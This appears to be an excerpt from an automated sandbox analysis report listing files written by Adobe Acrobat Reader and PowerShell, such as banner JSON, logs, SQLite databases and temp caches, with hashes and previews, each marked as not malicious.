Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.250568025591382
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJf+dPeUkwRe9:YvXKXFHHtc5CwG28Ukee9
MD5:	C73BDC585FFC81E02C3A560E6CAAB3BE
SHA1:	BCF4757306CC2066C1AB5DEC1F2A6F7E5B7F68F2
SHA-256:	2EE27F0DBCE7AB7230EB134DCE88DF3495B62B56721841037332980AA11A9A30
SHA-512:	2603C2632BCD25E1B6894D818C35C4AA64426C417E5252714904325D3DD80B7A58AAE31E4C45B55C32F123A00C7384F65FA722C9AD3F7D209C97AF8D1F24DD02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.247605695460275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfbPtdPeUkwRe9:YvXKXFHHtc5CwGDV8Ukee9
MD5:	B186893AF49C6ABD53A59FA9855B6692
SHA1:	4D20AF958F9FA6FFDB151220C189F30DFCBF2DF7
SHA-256:	B756342F1480B691DD89D4B4E23C41216BF2BE4881B61F91727933C07E1079E5
SHA-512:	18B5CDBE825A33D93B3558A98796E45B6E2EB17C4EFEF611461CBBD69C0F912AC12EB5C26334EC8130CBC1CC322BFC2E56B026E930518FA4DC431AB308E975D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250171709696367
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJf21rPeUkwRe9:YvXKXFHHtc5CwG+16Ukee9
MD5:	D4329AC116FBD1246DFFF00EC37C0D6E
SHA1:	897E60F2E11BBBF926A3EBFD2B508C758E3B6811
SHA-256:	DB9721A2E2B70BB80845791DD9593F6DE0FF23EE2A8165E8AFA5DD853EBFF05F
SHA-512:	66259AAC85387C5BC632AF4D800EA1174B2F9BD482D17DB2AEE75AA3402AC5A8AA9B7885D190FA7647EACD3F272C356106252F0612E98D62B34F97E1CADB9DDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6538998577789865
Encrypted:	false
SSDEEP:	24:Yv6XVS5CVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGg:YvisCJBgkDMUJUAh8cvMGg
MD5:	44B1A8C6490775BE623A0F53BC0D209E
SHA1:	0C8BCD9ED12A3D57375E73D56C915BFFF411A5C0
SHA-256:	13D23310B6A046BDEC82BF0F48B0FBB6D169FB54E7B8B61DCB7B180B1FDB7004
SHA-512:	DD83E972442B86324E9244CCC7D2B9328337D20FBFAB95863FD9DA6B8F0C8A85F0E52F32C7B77202A2FC95D87B087BC929E58D02A4D0F7F3E53D2AA96705E700
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.228308777279447
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJfshHHrPeUkwRe9:YvXKXFHHtc5CwGUUUkee9
MD5:	794A3AE1E462543677B7C2A871AD229C
SHA1:	07DD98F9953F66BF7C00EFE90CB951F7B507021E
SHA-256:	0FE7BF5C103CE268A1B130AB39CFA4B2C0FCFB329B4179935CB3F4D7E2982A82
SHA-512:	B7F04983E6DB41DBA4F5E30A1EC5A04B16D258D949DF0F1FC5F7FF14542A5C1BEB8FCD8AB4A9C2456505BC8562E545FEB6AA912E54783BE1A9B3CFAC958FF8A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.234713097900571
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHH780nZiQ0Y2CweoAvJTqgFCrPeUkwRe9:YvXKXFHHtc5CwGTq16Ukee9
MD5:	B1963019CE19EDEE58105FE88DCB14AB
SHA1:	3D0DB0B129D482DDB7C880765D308158F2049CCB
SHA-256:	CD331A48D84A512A4E4F189DAE097E9CC056BD56CA450E1B7BEA78CE9792670C
SHA-512:	8314826F83391DACF923AEFA1D3675893AD4D9E52876DF7D00BF3AB514861B3475294D92538699DF8FB177DFAC1D17D3B672C56D84024A914D9A59DB3BC70285
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2cde1e9e-ed32-446e-8031-0c66a160714e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709632736,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145016349237576
Encrypted:	false
SSDEEP:	48:YAd9/WOTeH+0Gt69/bEUmbknFrgJadGKZ8KNPnOruU9/z7O:LfyA6Lm4hDB1rqe
MD5:	F35757E632B5CD380098BD14A50CA07E
SHA1:	8E2DC317C136804083FE46DD2A896014FB4B098F
SHA-256:	2616BDDBC50E337A56945A47CCFCE3EE3A91F0047631EC8EB51B46ABA41B8D04
SHA-512:	299312CB285385C7AF344609328D0D76AB9B4ADA9F4381DB70AFC762081235A0513CA635550D4900089341AAC533CCED35B2AC5CDF66552D7E5D63818659E85E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"15a549c83c3642012850e7f394ee21ed","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736533982000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"cea518424f366f52d46f2bc2e8635e69","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736533982000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"18bb6cd826dc3e0cdbd2c6f45c3ab934","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736533982000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0df4c77f09cf0cba7b497be32eb12f9a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736533982000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"816e2a3dc5439d2e8e75cd4ae2c66fd5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736533982000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"531655452e31c6ffc81fff1ae272c1d8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1455082222524446
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursS2RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudco:TFl2GL7mstXc+XcGNFlRYIX2v3kI
MD5:	151B9C246A7158A2D47429F20E189B18
SHA1:	DB684F666A7263596AAF7FBEF011ECEE4196C310
SHA-256:	5861BE1B4D34830F7105B70818A05CA4740909636067F9C4ABD336ED9551B99F
SHA-512:	03FC996C31CDA3A39C3002FE12B69149084477472AB8CE609CBE392A1CAEF5151265CDC30DF18CACCD7F34AAF561820EB407A9C726F06671A2A19656EE7379BB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.549415154948754
Encrypted:	false
SSDEEP:	24:7+ts2UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux8qLxx/XYKk:7MkXc+XcGNFlRYIX2vxqVl2GL7msM
MD5:	2311D220E0EF1E4118E315E962B91630
SHA1:	EE780A8EFF385700F1E060037EFCA038DDA85229
SHA-256:	C224DFEB0964E3BFB44F39F37090FB3B735C1B3EEE326A71315ACBE69EAD12FC
SHA-512:	AECA8CD1CA5B7A2A96F61DAA6537619840703493B985250CAB003D74957C448E7A1B0803B3C24F692371108C4B111C2D3CA8F9D39D5B0674606DFE5DA85A6731
Malicious:	false
Preview:	.... .c.....IS............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOCzEGt7X+9VhY0K2HZ1FIgyNpdJYyu:6a6TZ44ADElzEJVh62HNIV3K
MD5:	AA1751482603FEED5372FDEB677728CD
SHA1:	DA28BE6B1D5B0FB58DFDF1428F2FBDAD22E4F27F
SHA-256:	C0110B158B4057389CEA60D1CA15038FE023E7717E972FC8540E4331411C8F7F
SHA-512:	61C9C62CED7302DF2D28AD47D63E4818326B79E846D4C661949AD597802207F25DDF3F7257EC3939B4F070D02FED45E5C0F91405BAC7D44A9A24417F509CB980
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIda7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEO3H:Qw946cPbiOxDlbYnuRK+bDO3H
MD5:	B3DAAE8153171E94F3525C5402FC56C9
SHA1:	52CDAD2CAA9228548CBC0337AEA7CBA2E783E7D0
SHA-256:	1A4622975A9E14A695D845312FE699F4376E6D0467F750E4FCD33CF559707BF2
SHA-512:	59BFEFF577095F0136FA666E0917DBBA04E2CE18E92A741101F2F3FFC0BFBE5F67E730F2CFB3265371F0508249D0F714E42E04AEC0833CBDEA4CCC4AC64F80A9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.3.3.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3cvizox.emm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxns4i2o.1fg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-32-54-595.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.379647407804218
Encrypted:	false
SSDEEP:	384:nxzErxaRHyTpYCYCLqng9Twt527NHOanBGh1roU+EN2R1nOYRqlMjAjqH9X5tct4:xWl+FlNvQ
MD5:	2720D0A7E2269574E6C24AF8CD6D6996
SHA1:	FD9D8FBAB48A1BED83B391B583FBD5A4F942C09B
SHA-256:	8C0BC95000A1047E20387045F92432448E4721FC63863F1CBB69BA5EEC958EAA
SHA-512:	3B4689A8E69114982E2C219103584251025212D705E0F1C0B8B1FC019FB0E11A87B9FA45DED16868047ECE2164DC7CD5ABAAC375DC9999ABBBF307A670421A16
Malicious:	false
Preview:	SessionID=d6909ab0-b1d2-4a58-b3a8-9a75f87690c9.1736533974606 Timestamp=2025-01-10T13:32:54:606-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d6909ab0-b1d2-4a58-b3a8-9a75f87690c9.1736533974606 Timestamp=2025-01-10T13:32:54:607-0500 ThreadID=7388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d6909ab0-b1d2-4a58-b3a8-9a75f87690c9.1736533974606 Timestamp=2025-01-10T13:32:54:607-0500 ThreadID=7388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d6909ab0-b1d2-4a58-b3a8-9a75f87690c9.1736533974606 Timestamp=2025-01-10T13:32:54:607-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d6909ab0-b1d2-4a58-b3a8-9a75f87690c9.1736533974606 Timestamp=2025-01-10T13:32:54:607-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394802518575288
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbMocbaIw6cb5:V3fOCIdJDeKZwZ
MD5:	558A3B212610F4A5C6A4A3E1998BAA36
SHA1:	7C00F5F3F86C692B6F82B7C42EEA08013712B1AA
SHA-256:	44EA960CE350ED8B41EDC67A5DB06201FAA10E1DAA9895E52255A81B88794B54
SHA-512:	EE00E932B5DBBA6B554BD5A06378973992BCD12B718FFA3DE2E918118CEF2863E88793A562EA0E3C02524BD00BA7514F756F8A0EF4E046F439000439F8430281
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\803270ec-22e3-4fbb-ac26-4afc231b27d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\87bc6067-728e-4d6b-af5f-17d1ca438518.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
